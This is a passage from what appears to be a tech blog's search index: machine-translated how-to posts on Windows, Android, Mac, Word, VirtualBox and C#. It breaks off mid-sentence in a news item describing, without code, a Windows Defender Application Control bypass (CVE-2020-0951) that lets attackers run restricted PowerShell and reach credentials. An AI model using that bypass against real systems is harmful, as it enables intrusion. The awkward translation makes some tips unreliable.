Replace your old cable modem. Any solid-state electronic device will wear out over time due to accumulated thermal damage. Your broadband modem will have a harder time maintaining a good connection as they age (the signal-to-noise ratio will decrease, and the number of re-requests for the same packet will increase) . A commercially available cable modem instead of a cable company-provided modem will usually provide a better connection.\nMake sure that any other manufacturer's cable modem you purchase will work with your current service provider.\n  Use Ethernet instead of Wi-Fi. If you can, try to wire up as many devices as possible. This will result in higher speeds for those devices, as well as less interference for the rest of your wireless devices, such as tablets and phones.\nspeed up Internet Connection ncG1vNJzZmismaXArq3KnmWcp51kwamxjKWYrZ2jqXq4rdhmq6hlo6WyprCMrqdmoZ6psrO6xK1knKeeo7KkwMiopWZqYGd%2F\n","link":"/post/the-latest-way-to-speed-up-internet-connection-2022/","section":"post","tags":null,"title":"The latest way to speed up Internet Connection 2022"},{"body":"ThinkPad laptops have existed for a long time and have a firm foothold in the market.It can be said that this is one of the rare models with impressive designs that customers can see right away.The highlight on the design of the ThinkPad is the toughness and especially the characteristic red TrackPoint knob.Recently, a hard fan of ThinkPad created a tiny version of this laptop.\nThinkTiny - A miniature laptop\nWhat is special is that the tiny version is not just a model, but it can work, just the power and ability are 'tiny' as the size of the machine only. Klinger used a 3D printer to create the frame, then attached a 128 x 64 pixel OLED screen to the board with a circuit board and simple code to create the ultra-tiny ThinkPad, which was called ThinkTiny, unfortunately. It can't play Crysis or Pokemon puzzle, but it can play some classic games like Snake, Tetris and Lunar Lander.\n Klinger has no intention of commercializing ThinkTiny as it is a fun time-killing item and can also be sued by Lenovo.However, if you want to do it yourself, Klinger has uploaded all the code and design files on GitHub.\nTinyPC - A miniature gaming PC\nThis code can also be used to make TinyPC, a tiny desktop set that has both a case and screen, plays games like ThinkTiny and has a Breakout game, even glowing depending on the difficulty of the code. game.\nReference: TheVerge\nncG1vNJzZmismaXArq3KnmWcp51kwamxjK2gp7Fdoa6xwM6pZLCgmZi1brXSZqGuq6RiwamxjKygs51dpLNurYyfoKeflad6pK3NZqelmalirm6wxKWgnKGfqsBus8CmnA%3D%3D\n","link":"/post/the-tiny-laptop-which-is-just-the-size-of-a-finger-can-play-a-delicious-game/","section":"post","tags":null,"title":"The tiny 'laptop', which is just the size of a finger, can play a delicious game"},{"body":"​Most Android smartphone users back up all the data on the device to their Google account, from apps, messages, settings, to photos and videos synced with Google Photos… So, With the Google accounts of the deceased, how will Google handle all of their photo and video data?\nUsers switching over and leaving their accounts is a common problem faced by every major platform that offers any type of cloud storage. Since cloud hosting requires server space and is expensive to maintain, inactive accounts can place a significant burden on the system.\nIn January 2021, FinancesOnline page released a report showing that there are 1.8 billion active Gmail users. So with so much data of millions of accounts created every day, Google had to come up with an efficient way to handle them.\nInactive Account Manager feature First, Google offers an \"Inactive Account Manager\" feature, which allows users to pre-select what happens to their account, in the event that you no longer use your Google account or you die suddenly.\nWith Inactive Account Manager, users can set how long you want Google to determine that you or anyone else is no longer using your Google account. This period can range from 3 to 18 months. Google will track when you last signed in to Gmail on any device to determine inactivity.\n  After selecting a period of inactivity, users can continue to select trusted contacts (up to 10 people), who will receive a notification once that period of inactivity has passed. Alternatively, you can also include a personal message to those people including any passwords or PINs you want them to have. You can also set a limit to sharing only specific files/folders with important information, but not giving them access to your account.\nOne month before the allotted period ends, Google will send numerous notifications both by SMS as well as by email to users. Only when your account's inactivity period expires and the deactivation (not yet account deletion) takes place, will the people you trust receive a notification along with access to whatever you want. chose to share with them.\nIf you have chosen to delete your account, someone you trust will have 3 months (after deactivation) to access or download the data you have shared.\nGoogle will then remove the account and all its content completely from the cloud.\nIf you do not choose to delete your account after deactivation, that e-mail address can never be used again. That way, the person you trust will have more time to process the account as they please.\nWhat if you never set up Inactive Account Manager? Previously, Google would proactively delete accounts without giving users any warning if their account was inactive after 9 months. However, Google has changed that policy.\nSpecifically, from June 1, 2021, all accounts that are inactive for 2 years will be deleted by Google.\nCan the family of the deceased be able to access the Google account? Google does not share passwords, logins, or unauthorized access with anyone. However, in some cases where inactive Account Manager has not been set up and the family of the deceased person needs special account information, Google still leaves some options for them to gain access to the deceased user's account.\ngoogle account ncG1vNJzZmismaXArq3KnmWcp51kxKmt02afmqigmru0edOoZJplpaiys7%2BMoKaon5yaeqKvwqisp6xdrLWmuoytn56xXaWutL%2BMmq6asQ%3D%3D\n","link":"/post/what-happens-to-a-user-s-google-account-when-they-pass-away/","section":"post","tags":null,"title":"What happens to a user's Google account when they 'pass away'"},{"body":"The auto-fill feature is a framework that manages communication between applications and autofill services on the device. Like the password manager, fill in other applications with the data that the user has previously provided, autofill services (password autofill service) will eliminate the time-consuming and vulnerable. error when filling out the form.\nFilling out multiple forms on different applications is annoying. That's why the autofill framework helps bring a better experience.\nOn Android, Autofill uses Google's own password management service, to enter usernames and passwords into applications. However, this feature will also work with other password management applications and is only available for Android 8.0 and above.\nEnable Google Autofill 1. Open the Settings app on your Android device.\n  2. Go to the General Management (or System) section.\n  \n3. Go to Language and Time section , and click 'Language and input' .\n  4. Find the Input Assistance section (or Expand Advanced Settings) and click on Autofill service.\n  \n5. Click on the Google option (if this is the default service you want to use). If you want to use a third-party auto-complete application, click 'Add Service'. Current compatible applications are Enpass, LastPass, Dashlane, Keeper and 1Password.\nSave login 1. Return to Autofill Service on the device.\n2. Click the Settings gear icon next to the selected Google or third party application.\n  3. You will receive a prompt saying what Google will be able to see if you set it to do the default service autofill. Click OK to confirm.\n  4. Select the default email address you want to set for the auto-fill feature, then click Continue.\n  \n5. Enter information including passwords or other data that automatically enter the password whenever logging in to the application.\n  Note: For third-party applications, you will have to install the application before using.\nUse the auto-fill feature Now open an application and try logging in when prompted. After successful login, Android Oreo will ask to save login information for Google or a third-party application that you have logged in.\nWhen opening an application and pressing 'Sign In', the email address will appear as a suggested option, similar to the auto-fill feature. \u0026nbsp; for Chrome in the login field.\nFor third-party applications, you will receive a prompt to unlock the password manager and select the login information to use without leaving the login screen.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmlqbyurdOimpqknK56prrTnqlmqJGowLi70Z2qZqGeYq6vsNGooJ0%3D\n","link":"/post/how-to-automatically-enter-passwords-in-android/","section":"post","tags":null,"title":"How to automatically enter passwords in Android"},{"body":" This wikiHow teaches you how to use Microsoft's Visual Basic 6.0 to create a simple calculator that can add, subtract, multiply, and divide. Keep in mind that Visual Basic 6.0 is no longer used by modern computers, so you'll need to have...\nPart 1of 5:\nCreating a New Project  Create a new folder for your calculator. To house all of your calculator's necessary files, do the following: Go to the location in which you want to save your VB6 calculator. Right-click a blank space. Select New in the drop-down menu. Click Folder. Type in Calculator and press ↵ Enter.   Open Visual Basic 6. This will bring up the project selection page.\n  Click Standard EXE. It's in the project selection field.\n  Click Open. This is in the bottom-right corner of the window. Doing so creates a new project.\n Part 2of 5:\nCreating the Calculator's Input Fields  Open the \"Text Box\" tool. Click the ab button on the left-hand side of the window.\n  Create a text box. Click and drag your mouse down and right to draw an outline of the text box, then release the mouse button when the text box is the proper size. Ideally, your text box will be significantly longer than it is tall.   Copy the text box. Click once the text box to select it, then press Ctrl+C to copy it.\n  Paste in the text box twice. Press Ctrl+V twice to do so. You should see your pasted text boxes appear in the upper-right side of the page. If prompted to create a new control array after pasting in a text box, click No.   Arrange the text boxes in a stack. Click and drag the text box in the top-left side of the page down to the bottom slot, then move the second text box from the top-left side of the page into the middle slot. You should now have a stack of three text boxes.[1] The order in which you do this is important; if you place the text box you pasted second in the middle, it will cause your coding later to malfunction.   Remove the text boxes' default text. To do so: Click a text box. Click the text field to the right of the \"Text\" heading in the \"Properties\" pane on the right side of the window. Press Delete. Repeat with the other two text boxes.   Create three label boxes. Click the A button in the left-hand toolbar, then do the following: Resize the label box to your preferred size. Select the label box, then copy it. Paste twice the label box.   Place the label boxes to the left of the text boxes. Click and drag each label box to sit to the left of each text box.\n  Edit the top label box's caption. To do so: Click the top label box. Click the text box to the right of the \"Caption\" heading in the \"Properties\" pane on the right side of the window. Type in Number 1.   Edit the other two label boxes' captions. You'll label them like so: Click the middle label box, then change its caption to Number 2. Click the bottom label box, then change its caption to Result.   Make the label boxes transparent. This isn't necessary, but it will make your calculator more visually appealing: Select a label box. Click the \"BackStyle\" drop-down box in the \"Properties\" pane. Click Transparent in the drop-down menu.   Title your calculator. To change the text that appears at the top of the calculator's window when you run it, do the following: Click a blank space on the form. Click the \"Caption\" header's text box in the \"Properties\" pane. Type in Simple Calculator (or whatever you want to name the calculator).   Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKyhnaW5pnnCmqOcrZyWwbC%2BjKKlZq6ZqMKiuIybmKyhk2KDcQ%3D%3D\n","link":"/post/how-to-create-a-simple-calculator-in-visual-basic-6-0/","section":"post","tags":null,"title":"How to Create a Simple Calculator in Visual Basic 6.0"},{"body":"To protect Word documents, we can set a password and only when entering the correct password, can the user read the file or edit the content. And instead of setting the password for the entire content, the user can only set a password for a data area, locking a Word text area only.\nWhen locking a data area other people can still view the content as usual, but copying or editing operations will not be possible. This will limit the copying of data without permission. The following article will guide you how to lock a data area on Word.\nHow to create a password protection for Excel sheets How to lock formulas in Excel Instructions on how to set a password to protect the Excel file safely 1. How to lock an arbitrary section on Word Step 1:\nYou select the section you want to lock by placing the cursor in the location you want to create the section and then clicking on the Page Layout tab and selecting Breaks and then selecting Continous .\n  Step 2:\nClick on the Review tab and then select the Protect Document item , then click Restrict Formatting and editing .\n  Step 3:\nAppears the edit interface to the right of the screen. In section 2. Editing restrictions to select in the Allow only this type of editing section in the document then select Filling in forms .\n  Step 4:\nContinue clicking on the section Select sections . below to select the data area you want to lock.\n  Step 5:\nA small table appears for the user to select the section to lock in the content. The Section Protection will display the full section of the document. To lock the section, select the section and click the OK button below to finish.\n  Go back to the edit interface and click Yes, start Enforcing Protection .\n  Step 6:\nIn the Start Enforcing Protection dialog box enter the data area security password and click OK below.\n  The result we will get in section 1 is locked and section 2 is still fixable. You can only black out the content in section 1 but cannot right-click to edit, or enter content.\n  Step 7:\nTo unlock the password data area, click the Review tab , select Restrict Formatting and editing , choose Editing Restriction . Looking downwards click on the Stop Protection button.\n  Step 8:\nEnter the correct password to secure the data area, then click OK to unlock the data area.\n  2. Lock part, 1 small area of ​​Word data Step 1:\nFirst, you need to put the tab Develop out of the Word interface .\nWith Word 2007 , click the Office icon and select Word Options. Then click on the Popular item and then look to the right to select Show Developer tab in the Ribbon.\n  With Word 2010 or later, open Word Options, select the Custom Ribbon and then look to the right of the Customize the Ribbon section, select Main Tabs, and then tick Developer to display it on the toolbar.\n  Step 1:\nYou black out the data you want to lock and click the Develop tab and then click on the Rich text icon .\n  Step 2:\nNext click on the Control Properties icon and the Content Control Properties dialog box will appear.\n  In this dialog you need to enter the contents including:\nTitle: Enter a title for the data area you want to lock. Locking: Check the two items Content Control can be be and Content canot be edit. Finally click OK to save.\n  Step 3:\nClick on the Developer tab and select Protect Document to choose Restrict Formatting and Editing .\n  Step 4:\nAlso appear the right interface. Here the Formating restrictions section selects Limit Formating to a selection of styles section .\nClick on the Yes start Enforcing Protection button below.\n  Step 5:\nA password entry dialog box appears to protect the selected data area . Click OK to finish.\n  Finally the data area you selected is locked and cannot be edited. When you click on this area, you will see the green frame around, with the title set for the content.\nOpen way, we just need to click Stop Protection and enter the correct password.\n  So you've added a way to secure Word documents with locking an entire section in Word or locking a data area. Other people can only read the content but cannot edit it, unless you enter the correct password you created.\nSee more:\nHow to set PDF file password using Adobe Acrobat How to create a password, enhance the security of PDF files? How to secure PDF files with 2 locked layers I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfmLhurYydmK2ZXZa%2Fpq2MqKVmr5%2BnsQ%3D%3D\n","link":"/post/how-to-lock-a-data-area-on-word/","section":"post","tags":null,"title":"How to lock a data area on Word"},{"body":"The phone notifies you that you received a message, but at that time you were reading a newspaper, playing a game, . and did not want to exit that application. So how to reply to that message quickly? Floatify Lockscreen is an application that will help you quickly reply to SMS, Messenger, or Zalo, . even on the lock screen without having to go through many complicated unlocking operations.\nTop 10 smartest Android notification management apps available today Receive notifications from Android smartphones directly on the computer Instructions for setting up auto reply to messages on Facebook Fanpage Guide to replying to messages extremely fast on Android Reply to messages right on the lock screen\nStep 1 : First you need to install the Floatify Lockscreen application, this is a widget that customize the interface and features of the lock screen notification for highly rated Android devices from users.\nDownload the Floatify app for Android. Step 2: After successfully installing Floatify Lockscreen, open the application and activate it according to the instructions shown on the screen.\nStep 3: The basic setup process is complete, you will be transferred to the main interface of Floatify Lockscreen. Here, you turn on the Quick reply section to add a quick reply to notifications (messages) from the lock screen.\n  Step 4: When a message arrives on the lock screen you do not need to open the application directly, just press and swipe the notification to the left of the lock screen, choose to reply to respond quickly to the message.\n  Reply to instant messages while opening another application\nIn addition, you can reply quickly when a notification comes in while using the phone by setting the settings as follows:\nStep 1: Open the Floatify Lockscreen application then select Notifications.\n  Step 2: Move to Interactive.\n  Step 3: Select the hold or action you want, select Quick reply.\n  Step 4: When a message arrives, just press and hold on the message, the message reply frame will appear and you can just enter the message text.\n  Above is a quick messaging tutorial on Android using Floatify Lockscreen, with this easy tip from now on you won't need to worry about annoying operations every time you reply to a message. Very convenient, isn't it?\nHope you are succesful.\nSee more:\nSummary of priceless shortcuts on Android How to see who uses the most messaging on Facebook Turn off these 2 features immediately on Messenger so that Android phones run smoother ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVpbm6edOoZKado6iuqLHSZpyxrKKauqa42GadmqukYryvecCnm6unmZk%3D\n","link":"/post/how-to-reply-to-messages-extremely-fast-on-android/","section":"post","tags":null,"title":"How to reply to messages extremely fast on Android"},{"body":"Sometimes when using Windows 10, you may find that the Windows desktop freezes and you can no longer use the Start menu, click programs, drag files or switch between windows. This can be caused by Windows Explorer or Explorer.exe and can usually be fixed by restarting this process.\nExplorer.exe is an executable file in Windows operating systems located at C: Windowsexplorer.exe. When Windows starts and the user logs on, the operating system launches the Explorer.exe process, displaying the Windows user environment like the desktop, taskbar, and Start menu.\nTo restart the Explorer.exe process, you can perform the 3 different methods described by TipsMake.com below.\nMethod 1: Restart Windows Explorer.exe via Task Manager If you are using Windows 10, the easiest way to restart Explorer.exe is through Task Manager.\nTo restart Explorer.exe in Windows 10, please follow these steps:\nStep 1. Open Task Manager by pressing Ctrl+ Alt+ Deleteand select Task Manager or right-click the taskbar and select Task Manager. When Task Manager is opened, click the More details option .\n Click the More details option Step 2. When the full list of processes is displayed, scroll down until you find the Windows Explorer process. Then right-click on this process and select Restart.\n Right-click on the process and select Restart Step 3. The Explorer.exe process will end and automatically restart. During this process, you should see the desktop disappear briefly and then reappear.\nStep 4. Now that Windows Explorer has been restarted, you can close the Task Manager.\nMethod 2: Restart Windows Explorer.exe from the Command Prompt This method allows you to restart the Explorer.exe process directly from the Command Prompt. This method works in Windows 7, Windows 8 and Windows 10.\nTo restart Explorer.exe from the Command Prompt, please follow these steps:\nStep 1. Open Command Prompt.\nStep 2. When the Command Prompt opens, type the command taskkill /F /IM explorer.exe \u0026amp; start explorerinto it and press it Enteron the keyboard. This command will stop explorer.exe and then immediately restart the process so you can see your desktop again.\n Type taskkill / F / IM explorer.exe \u0026amp; start explorer Step 3. After entering the command, you should see the Windows desktop disappear for a second and then reboot. You can now close the Windows Command Prompt because the Explorer.exe process has been restarted.\nMethod 3: Exit Explorer and then reboot through Task Manager If you are using Windows 7 or any version of Windows, you can also restart the Explorer.exe process by first ending the process in Task Manager and then running it again from the Create New Task dialog box .\nTo restart explorer.exe by ending the process first, you can perform the following steps:\nStep 1. Open Task Manager. Once Task Manager is opened, scroll through the list of processes until you find the explorer.exe process and right-click on it. When the context menu opens, click the End Process option .\n Click the End Process option Step 2. When you try to finish the explorer.exe process, you need to confirm the request. Click the End Process button to confirm.\n Click the End Process button to confirm Step 3. Now you will see Explorer disappear and you are left with a blank screen with Task Manager. In Task Manager, click the File menu and select New Task (Run .) .\n Click the File menu and select New Task (Run .) Step 4. When the Create New Task prompt appears, enter explorer.exe in the Open field : then click the OK button .\n Enter explorer.exe in the Open field: Step 5. The Explorer.exe process will launch and you should see Windows Desktop again. Now the Explorer.exe process has started and you can see the desktop. Just close Task Manager and you're done.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqMGivtNmq6GdXay2r7DOsKpmnailubC%2BxKucsZ1dpb%2Bwr8Ssqg%3D%3D\n","link":"/post/how-to-restart-the-windows-explorer-exe-process/","section":"post","tags":null,"title":"How to restart the Windows Explorer.exe process"},{"body":" This wikiHow teaches you how to run a diagnostics test on a Mac computer. All modern Mac computers can access the Apple diagnostic tool which can be used to diagnose problems with your Mac's hardware. This can help pinpoint any issues you...\nMethod 1of 2:\nOn Macs Released After June 2013 Unplug external connections. If you have anything non-essential plugged into your Mac (such as USB flash drives), unplug them before you begin the test.\n  Restart your Mac. You can only access Apple Diagnostics as your computer is starting up. Click  . Click Restart. Click Restart to confirm.   Press and hold D before the screen displays anything. If your Mac still plays the startup chime, press and hold D before the chime plays. You may need to disable your firmware password to start Apple Diagnostics. If Apple Diagnostics doesn't start, reboot the computer and press ⌥ Option+D. The machine will try to start the diagnostics test online. Select your network connection, enter the password (if needed), and press the checkmark.  Click on your language. Once you've selected your language, the diagnostics scan will start.\n Allow the diagnostics scan to take place. This may take several minutes, and your computer may run loudly and seemingly erratically. This is normal - it's testing the hardware to make sure it works.\nEXPERT TIP\nTypically, you don't need to run your diagnostics unless you're having some kind of problem like slow performance or connectivity issues.\n Chiara Corsaro\nGeneral Manager of macVolks, Inc. Chiara Corsaro is the General Manager and Apple Certified Mac \u0026amp; iOS Technician for macVolks, Inc., an Apple Authorized Service Provider located in the San Francisco Bay Area. macVolks, Inc. was founded in 1990, is accredited by the Better Business Bureau (BBB) with an A+ rating, and is part of the Apple Consultants Network (ACN).  Chiara Corsaro\nGeneral Manager of macVolks, Inc.\n Take note of the results. If Apple Diagnostics finds any abnormalities on your Mac, it will list a summary of the problem(s) and include a reference code under each listed result. From here, you can write down the reference code(s) for use when getting it repaired. Some errors have multiple reference codes, so write down the reference code rather than just the problem summary.[1] If there are any hardware faults listed, schedule an appointment with Apple to get your computer repaired.  Method 2of 2:\nOn Macs Released Before June 2013 Unplug external connections. If you have anything non-essential plugged into your Mac (such as USB flash drives), unplug them before you begin the test.\n Insert the OS installation disc, if necessary. If the Mac still has a disc drive and is still running Mac OS X Snow Leopard (10.6) or below, insert the OS installation disc into your computer to ensure Apple Hardware Test can boot. If you have a Mac without a CD drive, like a MacBook Air, insert the Software Reinstall USB drive into one of the computer's USB ports. This is not necessary if you're running OS X Lion or later. If your computer was released after July 2011 or you've updated your OS since then, it will either retrieve the Hardware Test from the hard disk or will download it from the internet.   Restart your Mac. You can only access the Apple Hardware Test as your computer is starting up. Click  . Click Restart. Click Restart to confirm.   Press and hold D before the screen displays anything. If your Mac still plays the startup chime, press and hold D before the startup chime plays. If Apple Hardware Test doesn't start and your computer was released in 2011 or later, reboot the computer and press ⌥ Option+D to start the hardware test over the internet. Select your network connection, enter the password (if needed), and press the checkmark.   Select your language. Click on → or press → on your keyboard.\n Wait for the Apple Hardware Test window to come up. The Hardware Test will do a quick \"probe\" of the machine before it does any testing; let it complete the probe.\n  Click Test, press T, or hit ↵ Enter to start the hardware test. The test may take an hour or more, and your computer may run loudly and seemingly erratically. This is normal - it's testing the hardware to make sure it works. If you want the computer to check everything, check the box next to Perform extended testing (but be aware this will significantly increase the time it takes for the scan to complete).  Take note of the results. If Apple Hardware Test finds any abnormalities on your Mac, it will let you know it found an error and will list the technical code of the problem in the box in the lower right. From here, you can write down the code for use when getting your computer repaired. Unlike with Apple Diagnostics, you will not get a specific reference code; it will just be technical jargon. If there are any hardware faults listed, schedule an appointment with Apple to get your computer repaired.   David Pac Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqlo3qltcCgpairpJ6wtHnOp2SmmZM%3D\n","link":"/post/how-to-run-diagnostics-on-mac/","section":"post","tags":null,"title":"How to Run Diagnostics on Mac"},{"body":"Laptop keyboards have the disadvantage of being quite small and laptops with screens of 14 inches or less do not have numeric keypads like conventional external keyboard models. In addition, if your integrated keyboard fails, it will cause a short-circuit and affect your computer. But how to turn off the integrated keyboard of Laptop? Please look forward to the tutorial below.\n  In the instructions below, Thuthuatphanmem will use the way to install the driver error so that the computer does not recognize the keyboard, if in case you want to use the laptop keyboard, you can reinstall the original driver. The article is divided into two parts, how to turn off and turn on the integrated keyboard.\n1. How to turn off the keyboard on the Laptop to use external keyboard external plug. Step 1: Right-click on the Computer icon =\u0026gt; Manage.\n  Step 2: Go to Device Manager =\u0026gt; Keyboard =\u0026gt; Right-click Standard PS / 2 Keyboard =\u0026gt; Update Driver Software .\n  Step 3: Select Browse my computer for driver software .\n  Step 4: Select the item Let me pick . on my computer .\n  Step 5: First, remove the Show compatible hardware option to display the different keyboard drivers. Then, select (Standard keyboard) =\u0026gt; HID Keyboard Device and click Next .\n  Step 6: Click Yes to agree with the Windows warning.\n  Notice Windows has successfully . displayed the same device name as HID Keyboard Device is finished, you restart the computer and enjoy the results.\n  Step 7: After you restart the computer and go to the Keyboards section in Computer Management, you will see the keyboard driver shows an exclamation icon, meaning that the faulty driver cannot work. Congratulations on turning off the keyboard on the Laptop successfully! You can try to type text on the laptop keyboard to see if it works and the keystroke phenomenon remains or not.\n  2. How to turn on the Laptop keyboard If you only want to turn off the Laptop keyboard because it is useless and prevent accidental pressing, we can turn it back on by performing the following steps:\nStep 1: You manipulate the same as part 1 to open Computer Manager and right click on the laptop driver with exclamation icon to select Update Driver Software…\n  Step 2: You again manipulate steps 3 and 4 on part 1, but this time select Show compatible hardware and select the original driver and click Next .\n  Successful notice that you have completed reinstalling the Laptop keyboard driver. Now you can use a normal laptop keyboard without any problems.\n  With the guide in the article, you can easily turn off the Laptop keyboard when not in use without having to remove the keyboard driver or remove the keyboard. If the article is good and useful, please post your comments and reviews about the article in the comment section below!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZK2glWK5orzTqKdmo5Wur7Ct0Z1kraddqsCmecCnZJ6wpJq%2Fr63LZqKesZKkrrOw\n","link":"/post/how-to-turn-off-the-laptop-keyboard-to-use-an-external-keyboard/","section":"post","tags":null,"title":"How to turn off the Laptop keyboard to use an external keyboard"},{"body":"Network Administration - As we move into 2010, operating systems are not software that only resides on computers. The Google chrome operating system has been launched and marked a new era in the cloud operating system era. However, sometimes the cloud can show some difficulty in maintaining, especially when you prefer to use USB drives to perform everyday tasks with your computer, perform backups, transfer files and Working in many computers like home, office or maybe some other work locations.\nSometimes you need an operating system that can be portable, so you can run it from your external drive without the operating system of your computer. We introduced you to Mojopack in a previous article, allowing you to bring your operating system into a USB drive. However, Mojopack is not suitable for any operating system that depends on the server where you will use it.\nWhat if we could choose to install and bring our chosen operating system into a USB drive?\nAnswer: Virtualbox can create portable capabilities. The idea here is to install Virtualbox in a USB drive and use it to install another operating system. With this portable virtual drive, you can use this system in any computer you want.\nHow to make VirtualBox portable\n1. To install Virtualbox on a USB drive, go to vbox and download page here (957 Kb). Select version 3.0 version as shown below.\n 2. Run the installation, then the program will ask you to select a location to extract the files. Extract all files to your USB drive.\n 3. Installation will extract all the files required to install the virtualbox on your USB. Now open the 'Portable-Virtualbox' folder from the external drive and double-click the installation file as shown in the figure below.\n 4. Then you will see what is shown in the picture below.\n 5. Select the ' Extract the files for a 32 bit system ' check box and ' Extract the files for a 64 bit system '. You can also compress files to save space in your external drive.\n6. Then. Click the ' Download Installation file for Virtualbox ' button.\n7. Soon, you will see the application starts downloading the installation files needed to install the portable Virtualbox. Wait for the download process to finish. You will see a message appear in the middle of the screen and in the system tray.\n 8. The program takes some time to download Virtualbox files. After the download process has finished, you will see a prompt as shown in the image below.\n 9. Open your external drive again and now you will see a new icon called 'Virtual Box' (not to be confused with the Portable Virtualbox icon). Double click on it and you will see the usual Virtualbox wizard.\n Complete the wizard, and then you have completed the portable Virtualbox installation in the external drive.\nInstall the portable operating system in an external drive\nNow Virtualbox is located on your external drive, you can easily create a virtual drive and install any operating system such as Windows XP, Windows Vista, Linux, . Launch the virtualBox program, you can create one virtual drive. Save this hard drive in your external drive because you will use it from your USB drive. You can refer to the article 'Running Android on a computer using Virtualbox, or Share Virtualbox with multiple operating systems' to install a new operating system with Virtualbox.\nWhen you are done installing the operating system with Virtualbox, you can bring your operating system into this external drive and use it on multiple computers.\nAdvantages\nThere are many advantages to using a portable Virtualbox and running an operating system inside it. The biggest advantage is that you can run the operating system on any computer that has not installed virtualbox. Another advantage is to keep your hard drive completely free from virtual drives or you can even copy virtual disks from one computer to another.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F05qjpWWmnr%2B1wcClmaiwXZ67bsHSm2SappRiv7a6jK2fnmWfpbKzrdOipaBlo67AtbHM\n","link":"/post/install-virtualbox-in-usb-and-run-the-operating-system/","section":"post","tags":null,"title":"Install VirtualBox in USB and run the operating system"},{"body":"In this chapter, we will introduce the tools needed to install the C # environment. We mentioned that C # is part of the .Net Framework and is used to write .Net applications. Therefore, before discussing the tools available to run a C # program, you should understand how C # relates to the .Net Framework.\nIntroducing .Net Framework\n.Net Framework is a revolutionary platform that helps you write the following application types:\nWindows application Web application Web service .Net Framework applications are cross-platform applications. The platform has been designed in such a way that it can be used from any programming language: C #, C ++, Visual Basic, Jscript, COBOL, . All these languages ​​have access to this platform and communicate with each other.\n.Net Framework includes a huge code library used by client languages ​​like C #. Here are some components of the .Net Framework.\nCommon Language Runtime (CLR) .Net Framework Class Library Common Language Specification Common Type System Metadata and Assembly Windows Form ASP.Net and ASP.Net AJAX ADO.Net Windows Workflow Foundation (WF) Windows Presentation Foundation Windows Communication Foundation (WCF) LINQ Integrated Development Environment (IDE) for C #\nMicrosoft provides the following development tools for C # programming:\nVisual Studio 2010 (VS) Visual C # 2010 Express (VCE) Visual Web Developer The following two tools are available and free at the official website of Microsoft. Using these tools, you can write all kinds of C # programs from simple command line applications to more complex applications. You can also write source code files of C # using a basic Text Editor, like Notepad, and compile that code in Assembly by using Command-line Compiler, which is part of the .Net Framework.\nIn this series, we use Visual C # 2010 Express and you can download it from: Microsoft Visual Studio. It is installed automatically on your computer.\nWrite a C # program on Linux or Mac OS\nAlthough .Net Framework runs on Windows OS, there are also some alternative versions that work on other operating systems. Mono is an open source version of .Net Framework that includes a C # compiler and runs on some operating systems, including Linux and Mac OS. You can access: Go Mono.\nThe purpose of Mono is not only to run on .Net applications on Microsoft, but also to provide development tools for Linux developers. Mono can run on many different operating systems, such as Android, BSD, iOS, Linux, OS X, Windows, Solaris, and UNIX.\nFollow tutorialspoint\nLast post: What is C #\nNext article: C # program structure\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F05qjpaGenHqkecSnraKqn6O6prrT\n","link":"/post/installing-c-environment/","section":"post","tags":null,"title":"Installing C # environment"},{"body":"Error 0x0000001E: KMODE EXCEPTION NOT HANDLED system error handler message cannot handle exceptions generated from kernel mode program. It is mainly displayed as a blue screen error or stop code. When this error occurs, the computer will suddenly turn off.\nHow to find the cause of blue screen death and Minidump errors? How to create a blue screen of death (BSOD) to \"prank\" friends Prevent \"blue screen errors\" on Windows 8 How to fix 0x0000001E: KMODE EXCEPTION NOT HANDLED on Windows The cause of 0x0000001E error 1. RAM module is broken 2. Device driver is broken or not updated  How to fix 0x0000001E error on Windows 1. Check RAM 2. Update device drivers 3. Disable antivirus software 4. Check new software  The cause of 0x0000001E error 1. RAM module is broken The most common cause of this error is because the RAM module is corrupted, causing read / write errors. In this case, you should scan the system memory and replace the damaged RAM module.\n2. Device driver is broken or not updated Sometimes device drivers may be misconfigured, corrupted or not updated to the latest version after updating or downgrading Windows.\n  How to fix 0x0000001E error on Windows The following methods apply to Windows Vista, Windows 7, Windows 8, Windows 8.1 and Windows 10 versions.\n1. Check RAM If this error is caused by RAM, check RAM with the Windows Memory Diagnostic Tool. Refer to the article 2 ways to check RAM and check RAM errors on the computer with the highest accuracy rate.\n  If you cannot boot into the computer, you can use the Automated Repair tool of Easy Recovery Essentials to check RAM, HDD and CPU from the boot CD / DVD.\nStep 1 . Download Easy Recovery Essentials.\nhttps://neosmart.net/EasyRE/ Step 2 . Burn ISO image or create recovery USB. Refer to the article How to create a USB toolkit to solve any computer problem.\nStep 3 . Boot into Easy Recovery Essentials.\nStep 4 . Select Automated Repair .\nStep 5 . Click Continue and wait for the automatic editing process to finish. It will then report the problems found in the hard drive or RAM.\n  2. Update device drivers Refer to the article 5 basic ways to update and update drivers for computers.\n3. Disable antivirus software In some cases, antivirus software, backup programs and remote control software may cause this error. Please disable antivirus software or malware.\n4. Check new software If the 0x0000001E error is not because the device driver is not compatible with the hardware, you can check for new software installed recently on the computer and try uninstalling these programs and restarting the computer.\n10+ best free software uninstaller tools I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXpxxI9pZ2loYGaybrfMqJueZZWtsKa806Kmp2WepMFutMCnm6WdlGK8r3nWoqWdp6eo\n","link":"/post/kmode-exception-not-handled-on-windows/","section":"post","tags":null,"title":"KMODE EXCEPTION NOT HANDLED on Windows"},{"body":"By bypassing WDAC, hackers can access user credentials in unencrypted text.\nWDAC is designed to protect Windows devices from potentially malicious code by ensuring that only trusted applications and drivers can run. As a result, it prevents malicious software from launching on Windows.\n  When software-based WDAC security is enabled on Windows, PowerShell automatically goes into restricted language mode and restricts access to only allowing access to a certain set of Windows APIs.\nBy exploiting the WDAC bypass with vulnerability CVE-2020-0951, hackers can circumvent this system's limited list. From there, they can execute PowerShell commands without being blocked.\n\"To exploit the vulnerability, an attacker needs Admin access on the local computer where 